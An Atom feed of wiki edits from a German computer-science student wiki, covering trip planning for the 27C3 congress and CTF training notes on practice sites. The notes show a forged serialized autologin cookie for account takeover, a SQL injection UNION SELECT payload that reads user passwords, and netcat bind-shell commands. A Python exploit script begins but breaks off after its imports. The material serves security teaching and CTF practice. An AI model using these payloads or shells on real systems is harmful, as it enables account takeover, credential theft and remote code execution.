<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.mafiasi.de/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=81.163.36.0%2F24</id>
	<title>Fachschaft Informatik - Benutzerbeiträge [de]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.mafiasi.de/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=81.163.36.0%2F24"/>
	<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php/Spezial:Beitr%C3%A4ge/81.163.36.0/24"/>
	<updated>2026-10-17T13:02:30Z</updated>
	<subtitle>Benutzerbeiträge</subtitle>
	<generator>MediaWiki 1.46.2</generator>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=27C3&amp;diff=11642</id>
		<title>27C3</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=27C3&amp;diff=11642"/>
		<updated>2010-12-27T14:18:33Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.71: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Dies ist die Seite zu dem im Jahr 2010 stattfindenden [[CCCongress]].&lt;br /&gt;
&lt;br /&gt;
= nicht auf dem 27c3 und doch dabei? =&lt;br /&gt;
* [http://events.ccc.de/congress/2010/wiki/Peace_Missions Peace Missions]&lt;br /&gt;
&lt;br /&gt;
= Telefonliste =&lt;br /&gt;
&lt;br /&gt;
* 9942, Timme&lt;br /&gt;
* 9231, Björn&lt;br /&gt;
* 9897, Kjell&lt;br /&gt;
* 6653, Henning&lt;br /&gt;
&lt;br /&gt;
= Hinfahrt =&lt;br /&gt;
Wir nehmen folgende Hinfahrt. Sollte das jmd nicht passen, bitte melden.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Hamburg Hbf 	So, 26.12.10 	ab 	12:24 	6a 	RE 4311&lt;br /&gt;
Schwerin Hbf 	So, 26.12.10 	an 	13:51 	2&lt;br /&gt;
 Umsteigezeit 26 Min. 		Umsteigezeit anpassen&lt;br /&gt;
Schwerin Hbf 	So, 26.12.10 	ab 	14:17 	3 	RE 37311&lt;br /&gt;
Berlin Hbf (tief) 	So, 26.12.10 	an 	16:29 	1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Pennen =&lt;br /&gt;
FIXME: Vorschlag: http://events.ccc.de/congress/2010/wiki/U_inn_Berlin_Hostel_27C3_special fuer 13 Euro die Nacht im 8er Dorm, ist aber weit weg. Oder eben A&amp;amp;O: http://www.aohostels.com/de/berlin/hotel-mitte/buchung/&lt;br /&gt;
&lt;br /&gt;
= Tickets =&lt;br /&gt;
Es wird Dauertickets nur im Vorverkauf geben!&lt;br /&gt;
Es wird Dauertickets nur im Vorverkauf geben!&lt;br /&gt;
Es wird Dauertickets nur im Vorverkauf geben!&lt;br /&gt;
&lt;br /&gt;
Wenn du kein Ticket hast aber eins moechtest, konsultiere http://events.ccc.de/congress/2010/wiki/Frequently_Asked_Questions#Presale bzw. https://presale.events.ccc.de/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Rueckfahrt =&lt;br /&gt;
Wir fahren am 31.12.2010 um 05:16 Uhr von Berlin Hauptbahnhof mit dem ICE nach Hamburg Hauptbahnhof.&lt;br /&gt;
&lt;br /&gt;
= Call for Participation =&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Hallo,&lt;br /&gt;
&lt;br /&gt;
sicherlich hast du wie jedes Jahr schon lange auf diese E-Mail&lt;br /&gt;
gewartet ;-) Du bist ab sofort aufgefordert dich zu melden, wenn&lt;br /&gt;
du mit zum 27C3 fahren willst.&lt;br /&gt;
&lt;br /&gt;
Kurz:&lt;br /&gt;
=======&lt;br /&gt;
&lt;br /&gt;
  27C3  -  We come in peace&lt;br /&gt;
  Hinfahrt :     So. 26.12.10&lt;br /&gt;
  Rückfahrt:     Do. 30.12.10 / Fr 31.12.10&lt;br /&gt;
  Kosten:        ~165 E&lt;br /&gt;
  Anmeldefrist:  So. 21.11.10&lt;br /&gt;
  Wie:           E-Mail 4tmuelle@&lt;br /&gt;
&lt;br /&gt;
  ACHTUNG! Dieses mal gibt es _keine Abendkassentickets_ und Tickets&lt;br /&gt;
  ACHTUNG! koennen nur im Vorverkauf erworben werden. Wer ein Ticket&lt;br /&gt;
  ACHTUNG! haben moechte sollte es moeglichst bald erwerben, da erwartet&lt;br /&gt;
  ACHTUNG! erwartet wird, dass es einen grossen Ansturm geben wird.&lt;br /&gt;
  ACHTUNG! Die naechsten Vorverkaufstickets werden am 11.11 freigegeben&lt;br /&gt;
  ACHTUNG! es wird aber empfohlen sich schon jetzt im &lt;br /&gt;
  ACHTUNG! Vorverkaufssystem[1] zu registrieren, da der Account 24h zur&lt;br /&gt;
  ACHTUNG! Aktivierung braucht.&lt;br /&gt;
&lt;br /&gt;
[1] https://presale.events.ccc.de/accounts/sign_in&lt;br /&gt;
&lt;br /&gt;
Lang:&lt;br /&gt;
=======&lt;br /&gt;
&lt;br /&gt;
Der 27C3 ist der 27te Chaos Communication Congress in Berlin und findet&lt;br /&gt;
wie immer vom 27.12 bis zum 30.12 im Berliner Congress Center statt.&lt;br /&gt;
&lt;br /&gt;
Wir werden mit der Bahn hin- und zurückfahren und während der Zeit in&lt;br /&gt;
einem Hostel übernachten.&lt;br /&gt;
&lt;br /&gt;
Auf der &amp;quot;europäischen Hackerkonferenz&amp;quot; wird es vornehmlich eine Menge&lt;br /&gt;
Vorträge im Bereich Hacking, Science, Society, Culture und Community,&lt;br /&gt;
und viele fast schlaflose Nächte geben.&lt;br /&gt;
&lt;br /&gt;
Ein Zitat von der 27C3-Seite [1]:&lt;br /&gt;
| The 27C3 is the annual four-day conference organized by the Chaos &lt;br /&gt;
| Computer Club (CCC) in Berlin, Germany.&lt;br /&gt;
| The Congress offers lectures and workshops  on a multitude of topics&lt;br /&gt;
| and attracts a diverse audience of thousands of hackers, scientists,&lt;br /&gt;
| artists, and utopians from all around the world. The 27C3&#039;s slogan is&lt;br /&gt;
| “We come in peace”.&lt;br /&gt;
| &lt;br /&gt;
| For 27 years, the congress is organized by the community and&lt;br /&gt;
| appreciates all kind of participation. You are encouraged to &lt;br /&gt;
| contribute by volunteering, setting up and attending hands-on&lt;br /&gt;
| events or presenting your own projects to fellow hackers. &lt;br /&gt;
&lt;br /&gt;
Die Hinfahrt wird am 26.12 gegen Mittag mit Regionalbahnen stattfinden.&lt;br /&gt;
Übernachten werden wir vorraussichtlich im A&amp;amp;O Hostel Berlin Mitte.&lt;br /&gt;
Wer am 30ten zurückfahren möchte, hat hier die Auswahl zwischen früh und&lt;br /&gt;
günstig fahren oder spät und nicht ganz so günstig. Die frühe Variante&lt;br /&gt;
wäre mit Regionalbahnen und würde bereits um 19 Uhr in Berlin starten,&lt;br /&gt;
damit würdest du die letzten Vorträge verpassen. Die späte Rückfahrt&lt;br /&gt;
wäre mit dem ICE gegen 23 Uhr und wird 15-20 Euro mehr kosten, je&lt;br /&gt;
nachdem, welche Tickets verfügbar sind.&lt;br /&gt;
&lt;br /&gt;
Tickets fuer die Konferenz gibt es nur im Vorverkauf. Wenn du noch kein Ticket organisiert hast, schau auf http://events.ccc.de/congress/2010/wiki/Frequently_Asked_Questions#Presale. Alternativ kannst du bestimmt einen befreundeten Hacker mit Bier oder schoenen Pflanzen bestechen, dir evtl. ein Ticket zu besorgen.&lt;br /&gt;
Um es glasklar zu machen: Es wird auf dem CCCongress *keine* Dauertickets geben. Wenn du noch kein Dauerticket hast, wirst du nicht in der Lage sein, an der ganzen Konferenz teil zu nehmen.&lt;br /&gt;
Falls du kein Ticket abbekommen hast gibt es die Moeglichkeit den CCCongress in einem Hackerspace deiner Wahl zu erleben. Mindestens der Attraktor wird &amp;quot;Peace Missions&amp;quot; abhalten. Fuer mehr Informationen schau auf http://events.ccc.de/congress/2010/wiki/Peace_Missions&lt;br /&gt;
&lt;br /&gt;
Da im letztem Jahr einige noch anschliesend auf der C-Base-Party waren&lt;br /&gt;
und erst am nächstem Tag zurueck gefahren sind, kam die Idee auf beim&lt;br /&gt;
nächsten mal (sprich dieses mal) das Hostel länger zu buchen. Daher gibt&lt;br /&gt;
es diesesmal die Option eine weitere Nacht im Hostel zu bleiben und erst&lt;br /&gt;
am nächsten Tag zurueck zufahren. Die zusätzlichen Kosten sind davon&lt;br /&gt;
abhängig wie viele dann länger dableiben. Man kann bei der C-Base-Party&lt;br /&gt;
aber auch sein Gepäck abgeben und die Nacht durchmachen :-)&lt;br /&gt;
Fuer die Rueckfahrt bietet sich dann der Berlin-Linienbus an.&lt;br /&gt;
&lt;br /&gt;
Wenn auch du Lust bekommen hast, dieses Jahr dabei zu sein, antworte bis zum&lt;br /&gt;
&lt;br /&gt;
            Sonntag, den 21.11.2010 23:59h CET&lt;br /&gt;
&lt;br /&gt;
an 4tmuelle@ und teile mit, ob du&lt;br /&gt;
&lt;br /&gt;
            [ ] hinfahren&lt;br /&gt;
            uebernachten&lt;br /&gt;
              ( ) bis zum 30.&lt;br /&gt;
              ( ) bis zum 31.&lt;br /&gt;
            zurueckfahren&lt;br /&gt;
              ( ) früh am 30.&lt;br /&gt;
              ( ) spät am 30.&lt;br /&gt;
              ( ) am 31.&lt;br /&gt;
         &lt;br /&gt;
willst oder irgendwelche Extrawünsche hast.&lt;br /&gt;
&lt;br /&gt;
Die Kosten belaufen sich derzeit auf ca.&lt;br /&gt;
&lt;br /&gt;
 ~75 Euro für die Übernachtung (4x~18.75)&lt;br /&gt;
 ~ 8 Euro Hinfahrt&lt;br /&gt;
 ~11 Euro frühe Rückfahrt oder ~30 Euro für die späte Ruckfahrt&lt;br /&gt;
  70 Euro Eintritt[2]&lt;br /&gt;
 --------------------&lt;br /&gt;
 165 Euro Gesamt (früh) / 185 Euro Gesamt (spät)&lt;br /&gt;
&lt;br /&gt;
Ansonsten findest du weitere Informationen auf der Website des&lt;br /&gt;
Kongress[3] und in unserem Fachschaftswiki[4].&lt;br /&gt;
&lt;br /&gt;
Gruß,&lt;br /&gt;
  Muelli&lt;br /&gt;
&lt;br /&gt;
[1] http://events.ccc.de/congress/2010/wiki/Main_Page&lt;br /&gt;
[2] Solltet ihr Mitglied im CCC sein kostet der Eintritt nur 45 Euro, &lt;br /&gt;
    der Jahresbeitrag betraegt fuer Studenten 36 Euro und die bekommt &lt;br /&gt;
    die letzte sowie alle folgenden Datenschleudern. Folglich: Mitglied &lt;br /&gt;
    werden lohnt sich, am besten gleich das Formular unter &lt;br /&gt;
    http://ccc.de/de/membership ausfuellen!&lt;br /&gt;
[3] http://events.ccc.de/congress/2010/&lt;br /&gt;
[4] http://mafiasi.de/27C3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>81.163.36.71</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=27C3&amp;diff=11641</id>
		<title>27C3</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=27C3&amp;diff=11641"/>
		<updated>2010-12-26T21:33:03Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: peace missions&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Dies ist die Seite zu dem im Jahr 2010 stattfindenden [[CCCongress]].&lt;br /&gt;
&lt;br /&gt;
= nicht auf dem 27c3 und doch dabei? =&lt;br /&gt;
* [http://events.ccc.de/congress/2010/wiki/Peace_Missions Peace Missions]&lt;br /&gt;
&lt;br /&gt;
= Hinfahrt =&lt;br /&gt;
Wir nehmen folgende Hinfahrt. Sollte das jmd nicht passen, bitte melden.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Hamburg Hbf 	So, 26.12.10 	ab 	12:24 	6a 	RE 4311&lt;br /&gt;
Schwerin Hbf 	So, 26.12.10 	an 	13:51 	2&lt;br /&gt;
 Umsteigezeit 26 Min. 		Umsteigezeit anpassen&lt;br /&gt;
Schwerin Hbf 	So, 26.12.10 	ab 	14:17 	3 	RE 37311&lt;br /&gt;
Berlin Hbf (tief) 	So, 26.12.10 	an 	16:29 	1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Pennen =&lt;br /&gt;
FIXME: Vorschlag: http://events.ccc.de/congress/2010/wiki/U_inn_Berlin_Hostel_27C3_special fuer 13 Euro die Nacht im 8er Dorm, ist aber weit weg. Oder eben A&amp;amp;O: http://www.aohostels.com/de/berlin/hotel-mitte/buchung/&lt;br /&gt;
&lt;br /&gt;
= Tickets =&lt;br /&gt;
Es wird Dauertickets nur im Vorverkauf geben!&lt;br /&gt;
Es wird Dauertickets nur im Vorverkauf geben!&lt;br /&gt;
Es wird Dauertickets nur im Vorverkauf geben!&lt;br /&gt;
&lt;br /&gt;
Wenn du kein Ticket hast aber eins moechtest, konsultiere http://events.ccc.de/congress/2010/wiki/Frequently_Asked_Questions#Presale bzw. https://presale.events.ccc.de/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Rueckfahrt =&lt;br /&gt;
Wir fahren am 31.12.2010 um 05:16 Uhr von Berlin Hauptbahnhof mit dem ICE nach Hamburg Hauptbahnhof.&lt;br /&gt;
&lt;br /&gt;
= Call for Participation =&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Hallo,&lt;br /&gt;
&lt;br /&gt;
sicherlich hast du wie jedes Jahr schon lange auf diese E-Mail&lt;br /&gt;
gewartet ;-) Du bist ab sofort aufgefordert dich zu melden, wenn&lt;br /&gt;
du mit zum 27C3 fahren willst.&lt;br /&gt;
&lt;br /&gt;
Kurz:&lt;br /&gt;
=======&lt;br /&gt;
&lt;br /&gt;
  27C3  -  We come in peace&lt;br /&gt;
  Hinfahrt :     So. 26.12.10&lt;br /&gt;
  Rückfahrt:     Do. 30.12.10 / Fr 31.12.10&lt;br /&gt;
  Kosten:        ~165 E&lt;br /&gt;
  Anmeldefrist:  So. 21.11.10&lt;br /&gt;
  Wie:           E-Mail 4tmuelle@&lt;br /&gt;
&lt;br /&gt;
  ACHTUNG! Dieses mal gibt es _keine Abendkassentickets_ und Tickets&lt;br /&gt;
  ACHTUNG! koennen nur im Vorverkauf erworben werden. Wer ein Ticket&lt;br /&gt;
  ACHTUNG! haben moechte sollte es moeglichst bald erwerben, da erwartet&lt;br /&gt;
  ACHTUNG! erwartet wird, dass es einen grossen Ansturm geben wird.&lt;br /&gt;
  ACHTUNG! Die naechsten Vorverkaufstickets werden am 11.11 freigegeben&lt;br /&gt;
  ACHTUNG! es wird aber empfohlen sich schon jetzt im &lt;br /&gt;
  ACHTUNG! Vorverkaufssystem[1] zu registrieren, da der Account 24h zur&lt;br /&gt;
  ACHTUNG! Aktivierung braucht.&lt;br /&gt;
&lt;br /&gt;
[1] https://presale.events.ccc.de/accounts/sign_in&lt;br /&gt;
&lt;br /&gt;
Lang:&lt;br /&gt;
=======&lt;br /&gt;
&lt;br /&gt;
Der 27C3 ist der 27te Chaos Communication Congress in Berlin und findet&lt;br /&gt;
wie immer vom 27.12 bis zum 30.12 im Berliner Congress Center statt.&lt;br /&gt;
&lt;br /&gt;
Wir werden mit der Bahn hin- und zurückfahren und während der Zeit in&lt;br /&gt;
einem Hostel übernachten.&lt;br /&gt;
&lt;br /&gt;
Auf der &amp;quot;europäischen Hackerkonferenz&amp;quot; wird es vornehmlich eine Menge&lt;br /&gt;
Vorträge im Bereich Hacking, Science, Society, Culture und Community,&lt;br /&gt;
und viele fast schlaflose Nächte geben.&lt;br /&gt;
&lt;br /&gt;
Ein Zitat von der 27C3-Seite [1]:&lt;br /&gt;
| The 27C3 is the annual four-day conference organized by the Chaos &lt;br /&gt;
| Computer Club (CCC) in Berlin, Germany.&lt;br /&gt;
| The Congress offers lectures and workshops  on a multitude of topics&lt;br /&gt;
| and attracts a diverse audience of thousands of hackers, scientists,&lt;br /&gt;
| artists, and utopians from all around the world. The 27C3&#039;s slogan is&lt;br /&gt;
| “We come in peace”.&lt;br /&gt;
| &lt;br /&gt;
| For 27 years, the congress is organized by the community and&lt;br /&gt;
| appreciates all kind of participation. You are encouraged to &lt;br /&gt;
| contribute by volunteering, setting up and attending hands-on&lt;br /&gt;
| events or presenting your own projects to fellow hackers. &lt;br /&gt;
&lt;br /&gt;
Die Hinfahrt wird am 26.12 gegen Mittag mit Regionalbahnen stattfinden.&lt;br /&gt;
Übernachten werden wir vorraussichtlich im A&amp;amp;O Hostel Berlin Mitte.&lt;br /&gt;
Wer am 30ten zurückfahren möchte, hat hier die Auswahl zwischen früh und&lt;br /&gt;
günstig fahren oder spät und nicht ganz so günstig. Die frühe Variante&lt;br /&gt;
wäre mit Regionalbahnen und würde bereits um 19 Uhr in Berlin starten,&lt;br /&gt;
damit würdest du die letzten Vorträge verpassen. Die späte Rückfahrt&lt;br /&gt;
wäre mit dem ICE gegen 23 Uhr und wird 15-20 Euro mehr kosten, je&lt;br /&gt;
nachdem, welche Tickets verfügbar sind.&lt;br /&gt;
&lt;br /&gt;
Tickets fuer die Konferenz gibt es nur im Vorverkauf. Wenn du noch kein Ticket organisiert hast, schau auf http://events.ccc.de/congress/2010/wiki/Frequently_Asked_Questions#Presale. Alternativ kannst du bestimmt einen befreundeten Hacker mit Bier oder schoenen Pflanzen bestechen, dir evtl. ein Ticket zu besorgen.&lt;br /&gt;
Um es glasklar zu machen: Es wird auf dem CCCongress *keine* Dauertickets geben. Wenn du noch kein Dauerticket hast, wirst du nicht in der Lage sein, an der ganzen Konferenz teil zu nehmen.&lt;br /&gt;
Falls du kein Ticket abbekommen hast gibt es die Moeglichkeit den CCCongress in einem Hackerspace deiner Wahl zu erleben. Mindestens der Attraktor wird &amp;quot;Peace Missions&amp;quot; abhalten. Fuer mehr Informationen schau auf http://events.ccc.de/congress/2010/wiki/Peace_Missions&lt;br /&gt;
&lt;br /&gt;
Da im letztem Jahr einige noch anschliesend auf der C-Base-Party waren&lt;br /&gt;
und erst am nächstem Tag zurueck gefahren sind, kam die Idee auf beim&lt;br /&gt;
nächsten mal (sprich dieses mal) das Hostel länger zu buchen. Daher gibt&lt;br /&gt;
es diesesmal die Option eine weitere Nacht im Hostel zu bleiben und erst&lt;br /&gt;
am nächsten Tag zurueck zufahren. Die zusätzlichen Kosten sind davon&lt;br /&gt;
abhängig wie viele dann länger dableiben. Man kann bei der C-Base-Party&lt;br /&gt;
aber auch sein Gepäck abgeben und die Nacht durchmachen :-)&lt;br /&gt;
Fuer die Rueckfahrt bietet sich dann der Berlin-Linienbus an.&lt;br /&gt;
&lt;br /&gt;
Wenn auch du Lust bekommen hast, dieses Jahr dabei zu sein, antworte bis zum&lt;br /&gt;
&lt;br /&gt;
            Sonntag, den 21.11.2010 23:59h CET&lt;br /&gt;
&lt;br /&gt;
an 4tmuelle@ und teile mit, ob du&lt;br /&gt;
&lt;br /&gt;
            [ ] hinfahren&lt;br /&gt;
            uebernachten&lt;br /&gt;
              ( ) bis zum 30.&lt;br /&gt;
              ( ) bis zum 31.&lt;br /&gt;
            zurueckfahren&lt;br /&gt;
              ( ) früh am 30.&lt;br /&gt;
              ( ) spät am 30.&lt;br /&gt;
              ( ) am 31.&lt;br /&gt;
         &lt;br /&gt;
willst oder irgendwelche Extrawünsche hast.&lt;br /&gt;
&lt;br /&gt;
Die Kosten belaufen sich derzeit auf ca.&lt;br /&gt;
&lt;br /&gt;
 ~75 Euro für die Übernachtung (4x~18.75)&lt;br /&gt;
 ~ 8 Euro Hinfahrt&lt;br /&gt;
 ~11 Euro frühe Rückfahrt oder ~30 Euro für die späte Ruckfahrt&lt;br /&gt;
  70 Euro Eintritt[2]&lt;br /&gt;
 --------------------&lt;br /&gt;
 165 Euro Gesamt (früh) / 185 Euro Gesamt (spät)&lt;br /&gt;
&lt;br /&gt;
Ansonsten findest du weitere Informationen auf der Website des&lt;br /&gt;
Kongress[3] und in unserem Fachschaftswiki[4].&lt;br /&gt;
&lt;br /&gt;
Gruß,&lt;br /&gt;
  Muelli&lt;br /&gt;
&lt;br /&gt;
[1] http://events.ccc.de/congress/2010/wiki/Main_Page&lt;br /&gt;
[2] Solltet ihr Mitglied im CCC sein kostet der Eintritt nur 45 Euro, &lt;br /&gt;
    der Jahresbeitrag betraegt fuer Studenten 36 Euro und die bekommt &lt;br /&gt;
    die letzte sowie alle folgenden Datenschleudern. Folglich: Mitglied &lt;br /&gt;
    werden lohnt sich, am besten gleich das Formular unter &lt;br /&gt;
    http://ccc.de/de/membership ausfuellen!&lt;br /&gt;
[3] http://events.ccc.de/congress/2010/&lt;br /&gt;
[4] http://mafiasi.de/27C3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-12-14&amp;diff=11640</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-12-14</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-12-14&amp;diff=11640"/>
		<updated>2010-12-26T21:25:38Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: /* Cockie Angriff */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
Heute haben wir uns mit drei Themen befasst:&lt;br /&gt;
* Vorbereitung RuCTFe&lt;br /&gt;
* Angriff einer fiktiven Bank mit veränderten Cockies&lt;br /&gt;
* Angriff eines fiktiven sozialen Netzwerkes mit verschiedenen, bereits aus früheren Treffen bekannten, Angriffsmethoden.&lt;br /&gt;
&lt;br /&gt;
== Vorbereitung RuCTFe ==&lt;br /&gt;
Vorstellung des CTF Tools. Funktionen sind u.a.:&lt;br /&gt;
* Möglichkeit exploits zu übermitteln die automatisch ausgeführt werden und Flaggen übermitteln können.&lt;br /&gt;
* Manuelle Übermittlung von Flaggen.&lt;br /&gt;
* Pinboard, wer an welchem Serivce arbeitet/gearbeitet hat&lt;br /&gt;
* base64 encode/decode&lt;br /&gt;
* Erkennen von Angriffen anderer Teams auf unseren Server.&lt;br /&gt;
&lt;br /&gt;
== Ausnutzen eines Typfehlers ==&lt;br /&gt;
Im Falle der, im Vergleich zum vorherigen Treffen, neuen badbank.cinsects.de und des sozialen Netzwerks stasivz.cinsects.de, haben wir uns damit befasst wie man sich Zugang zu fremden Benutzerkonten verschaffen kann.&lt;br /&gt;
&lt;br /&gt;
Am Beispiel der bandbank:&lt;br /&gt;
&lt;br /&gt;
Zunächst loggen wir uns mit dem eigenen Account z.B. Name: Anna, PW: 8nZymX62qJ ein und setzen zuvor den Haken bei []Eingeloggt bleiben. Nun wurden zwei Cokies erstellt, die wir mit der FF Erweiterung Web Developer anschauen, verändern und löschen können. Der eine ist eine Session ID (NAME: PHPSESSID), der andere wird dazu verwendet, um uns bei einem weiteren Besuch automatisch anzumelden (NAME: autologin). Dieser ist der für uns interessante Cockie. Schauen wir uns den zweiten Cokcie genauer an, so erkennen wir, dass es sich bei dem Inhalt um URLencodeten Inhalt&lt;br /&gt;
   (z.B. a%3A2%3A%7Bs%3A7%3A%22user_id%22%3Bi%3A26%3Bs%3A8%3A%22password%22%3Bs%3A40%3A%22a35d4fba8d9dc01e864ca65b1f161d0493b39481%22%3B%7D) &lt;br /&gt;
handelt. Naheliegen ist, dass wir diesen einmal decoden (FF Erweiterung hackbar) und uns anschauen, was an Inhalt&lt;br /&gt;
   (a:2:{s:7:&amp;quot;user_id&amp;quot;;i:26;s:8:&amp;quot;password&amp;quot;;s:40:&amp;quot;a35d4fba8d9dc01e864ca65b1f161d0493b39481&amp;quot;;}) &lt;br /&gt;
vorliegt. Wir sehen, dass eine user id vergeben ist, und ein password hash. Wir können diese Werte in der hackbar frei verändern, nahe liegt also eine andere id anzugeben um auf ein anderes Konto zu springen. &lt;br /&gt;
&lt;br /&gt;
Doch haben wir noch das Problem, dass wir dazu keinen gültigen hash haben. Aufgrund einer etwas älteren Sicherheitslücke, die für uns geleakt wurde, war dies jedoch auszutrixen, indem wir b:1 als passwort Wert gesetzt haben. FIXME(Was macht er da im Code genau, warum geht das)FIXME&lt;br /&gt;
&lt;br /&gt;
Das Ergebnis konnte dann z.B. so aussehen: &lt;br /&gt;
   a:2:{s:7:&amp;quot;user_id&amp;quot;;i:5;s:8:&amp;quot;password&amp;quot;;b:1;}&lt;br /&gt;
&lt;br /&gt;
Nun mussten wir diesen veränderten Wert wieder encoden und in den Cockie schrieben (hackbar+web developer). Der Session Cockie musste zu letzt noch gelöscht werden, und hat man nun die Seite der badbank neu geladen, war man mit dem Nutzer der angegebenen id eingeloggt.&lt;br /&gt;
&lt;br /&gt;
Gleiches Prinzip funktionierte auch bei dem sozialien Netzwerk stasivz.cinsects.de. Das Format des decodeten Inhalts des Cockies war etwas anders, so wurde ein String als ID erwartet, jedoch leicht abzuleiten aus dem der bandbank.&lt;br /&gt;
&lt;br /&gt;
== Weitere Angriffe aus stasivz ==&lt;br /&gt;
Einloggen mit Name: John@example.com, PW: example&lt;br /&gt;
&lt;br /&gt;
Eine Möglichkeit bestand darin, im Suchfeld für Personen &lt;br /&gt;
   &#039;#&lt;br /&gt;
einzugeben und damit eine Liste aller Nutzer des Netzwerks mit einem Link auf ihre jeweiligen Seiten zu erhalten.&lt;br /&gt;
&lt;br /&gt;
Eine andere Möglichkeit bestand darin, eine UNION SELECT auf die Personensuche anzuwenden, um z.B. die Passwörter der Nutzer auszulesen:&lt;br /&gt;
   &#039; UNION SELECT 1,password,3 from user#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-23&amp;diff=11639</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-23</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-23&amp;diff=11639"/>
		<updated>2010-12-26T21:12:35Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: fixme&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
== Ablauf ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
verwendete Komandos:&lt;br /&gt;
Remote shell mit netcat:&lt;br /&gt;
   mkfifo /tmp/foo&lt;br /&gt;
   cat /tmp/foo | netcat -l 1337 | /bin/sh 2&amp;gt; /tmp/foo &amp;gt;/tmp/foo&lt;br /&gt;
Kurze variante, falls von netcat supported&lt;br /&gt;
   netcat -l 1337 -e /bin/sh&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
== Sonstiges ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-16&amp;diff=11638</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-16</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-16&amp;diff=11638"/>
		<updated>2010-12-26T21:00:08Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: /* Ein moeglicher Exploit */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort, sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite.&lt;br /&gt;
&lt;br /&gt;
= Exploit =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Schnelles auslesen der Kontonummern ueber gevent ==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
from gevent import monkey&lt;br /&gt;
monkey.patch_socket()&lt;br /&gt;
&lt;br /&gt;
import urllib2&lt;br /&gt;
import urllib&lt;br /&gt;
import cookielib&lt;br /&gt;
import string&lt;br /&gt;
import re&lt;br /&gt;
from itertools import product, chain&lt;br /&gt;
import gevent&lt;br /&gt;
&lt;br /&gt;
